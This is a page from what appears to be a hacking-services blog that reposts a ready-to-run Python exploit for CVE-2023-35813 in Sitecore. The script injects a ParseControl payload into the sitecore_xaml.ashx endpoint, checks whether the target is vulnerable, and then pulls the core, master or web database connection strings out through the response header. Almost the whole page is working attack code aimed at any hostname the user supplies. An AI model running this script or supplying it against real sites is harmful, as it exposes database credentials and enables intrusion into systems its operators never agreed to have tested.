Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86368902

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python3
#
# Exploit Title: Sitecore - Remote Code Execution v8.2 
# Exploit Author: abhishek morla
# Google Dork: N/A
# Date: 2024-01-08
# Vendor Homepage: https://www.sitecore.com/
# Software Link: https://dev.sitecore.net/
# Version: 10.3
# Tested on: windows64bit / mozila firefox 
# CVE : CVE-2023-35813
# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
# Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
# Video POC : https://youtu.be/vWKl9wgdTB0

import argparse
import requests
from urllib.parse import quote
from rich.console import Console

console = Console()
def initial_test(hostname):
    # Initial payload to test vulnerability
    test_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='TestVulnerability'
    />
    '''
    encoded_payload = quote(test_payload)

    url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

    response = requests.post(url, headers=headers, data=data, verify=False)

    # Check for the test string in the Content-Type of the response
    return 'TestVulnerability' in response.headers.get('Content-Type', '')

def get_payload(choice):
    # Payload templates for different options
    payloads = {
        '1': "<%$ ConnectionStrings:core %>",
        '2': "<%$ ConnectionStrings:master %>",
        '3': "<%$ ConnectionStrings:web %>"
    }

    base_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='{}'
    />
    '''

    return base_payload.format(payloads.get(choice, "Invalid"))

def main(hostname):
    if initial_test(hostname):
        print("Exploiting, Please wait...")
        console.print("[bold green]The target appears to be vulnerable. Proceed with payload selection.[/bold green]")
        print("Select the payload to use:")
        print("1: Core connection strings")
        print("2: Master connection strings")
        print("3: Web connection strings")
        payload_choice = input("Enter your choice (1, 2, or 3): ")

        payload = get_payload(payload_choice)
        encoded_payload = quote(payload)

        url = f"http://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
        headers = {"Content-Type": "application/x-www-form-urlencoded"}
        data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

        response = requests.post(url, headers=headers, data=data)

        if 'Content-Type' in response.headers:
            print("Content-Type from the response header:")
            print("\n")
            print(response.headers['Content-Type'])
        else:
            print("No Content-Type in the response header. Status Code:", response.status_code)
    else:
        print("The target does not appear to be vulnerable to CVE-2023-35813.")


if __name__ == "__main__":
    console.print("[bold green]Author: Abhishek Morla[/bold green]")
    console.print("[bold red]CVE-2023-35813[/bold red]")
    parser = argparse.ArgumentParser(description='Test for CVE-2023-35813 vulnerability in Sitecore')
    parser.add_argument('hostname', type=str, help='Hostname of the target Sitecore instance')
    args = parser.parse_args()

    main(args.hostname)